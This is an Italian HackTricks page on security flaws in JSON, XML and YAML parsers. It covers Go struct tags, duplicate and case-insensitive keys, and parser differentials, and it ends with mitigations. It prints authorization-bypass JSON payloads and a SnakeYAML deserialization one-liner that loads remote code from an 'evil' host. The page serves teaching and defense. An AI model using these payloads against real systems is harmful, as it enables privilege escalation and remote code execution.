JSON, XML & Yaml Hacking & Issues

Reading time: 6 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Go JSON Decoder

I seguenti problemi sono stati rilevati nel Go JSON anche se potrebbero essere presenti in altre lingue. Questi problemi sono stati pubblicati in questo post del blog.

I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per bypassare l'autenticazione, escalare i privilegi o esfiltrare dati sensibili.

(Un)Marshaling Unexpected Data

L'obiettivo è sfruttare le strutture che consentono a un attaccante di leggere/scrivere campi sensibili (ad es., IsAdmin, Password).

  • Esempio di Struttura:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Vulnerabilità comuni
  1. Tag mancante (nessun tag = il campo viene comunque analizzato per impostazione predefinita):
go
type User struct {
Username string
}

Payload:

json
{"Username": "admin"}
  1. Uso errato di -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

json
{"-": true}

✔️ Modo corretto per bloccare un campo dall'essere (de)serializzato:

go
type User struct {
IsAdmin bool `json:"-"`
}

Differenziali del Parser

L'obiettivo è bypassare l'autorizzazione sfruttando come diversi parser interpretano lo stesso payload in modo diverso, come in:

  • CVE-2017-12635: bypass di Apache CouchDB tramite chiavi duplicate
  • 2022: RCE 0-click di Zoom tramite incoerenza del parser XML
  • Bypass SAML di GitLab 2025 tramite stranezze XML

1. Campi Duplicati: Il encoding/json di Go prende il ultimo campo.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Altri parser (ad esempio, Jackson di Java) possono prendere il primo.

2. Insensibilità al caso: Go è insensibile al caso:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Anche i trucchi Unicode funzionano:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Disallineamento tra servizi: Immagina:

  • Proxy scritto in Go
  • Servizio AuthZ scritto in Python

L'attaccante invia:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python vede UserAction, lo consente
  • Go vede AdminAction, lo esegue

Confusione del formato dei dati (Polyglots)

L'obiettivo è sfruttare i sistemi che mescolano formati (JSON/XML/YAML) o che falliscono in modo aperto sugli errori del parser come:

  • CVE-2020-16250: HashiCorp Vault ha analizzato JSON con un parser XML dopo che STS ha restituito JSON invece di XML.

L'attaccante controlla:

  • L'intestazione Accept: application/json
  • Controllo parziale del corpo JSON

Il parser XML di Go lo ha analizzato comunque e ha fidato l'identità iniettata.

  • Payload creato:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
  • Go JSON parser: Action_2 (case-insensitive + last wins)
  • YAML parser: Action_1 (case-sensitive)
  • XML parser: parses "Action_3" inside the string

Vulnerabilità Notabili dei Parser (2023-2025)

I seguenti problemi pubblicamente sfruttabili mostrano che il parsing insicuro è un problema multi-linguaggio — non solo un problema di Go.

RCE da Deserializzazione SnakeYAML (CVE-2022-1471)

  • Colpisce: org.yaml:snakeyaml < 2.0 (utilizzato da Spring-Boot, Jenkins, ecc.).
  • Causa principale: new Constructor() deserializza classi Java arbitrarie, consentendo catene di gadget che culminano nell'esecuzione di codice remoto.
  • One-liner PoC (aprirà la calcolatrice sull'host vulnerabile):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Correzione / Mitigazione:
  1. Aggiorna a ≥2.0 (usa SafeLoader per impostazione predefinita).
  2. Nelle versioni precedenti, usa esplicitamente new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Riguarda: libyaml ≤0.2.5 (libreria C sfruttata da molti binding di linguaggi).
  • Problema: Chiamare yaml_event_delete() due volte porta a un double-free che gli attaccanti possono trasformare in DoS o, in alcuni scenari, sfruttamento dell'heap.
  • Stato: Rifiutato upstream come “uso improprio dell'API”, ma le distribuzioni Linux hanno fornito una patch 0.2.6 che annulla difensivamente il puntatore.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Riguarda: Tencent RapidJSON prima del commit 8269bc2 (<1.1.0-patch-22).
  • Bug: In GenericReader::ParseNumber() l'aritmetica non controllata consente agli attaccanti di creare enormi letterali numerici che si avvolgono e corrompono l'heap — abilitando infine l'escalation dei privilegi quando il grafo degli oggetti risultante viene utilizzato per decisioni di autorizzazione.

🔐 Mitigazioni (Aggiornato)

RischioCorrezione / Raccomandazione
Campi sconosciuti (JSON)decoder.DisallowUnknownFields()
Campi duplicati (JSON)❌ Nessuna correzione nella stdlib — valida con jsoncheck
Corrispondenza case-insensitive (Go)❌ Nessuna correzione — valida i tag della struct + pre-canonicalizza l'input
Dati spazzatura XML / XXEUsa un parser rinforzato (encoding/xml + DisallowDTD)
Chiavi sconosciute YAMLyaml.KnownFields(true)
Deserializzazione YAML non sicuraUsa SafeConstructor / aggiorna a SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeAggiorna a 0.2.6 o a una release patchata dalla distro
RapidJSON <commit patchatoCompila contro l'ultima versione di RapidJSON (≥Luglio 2024)

Riferimenti

  • Baeldung – “Risoluzione di CVE-2022-1471 con SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks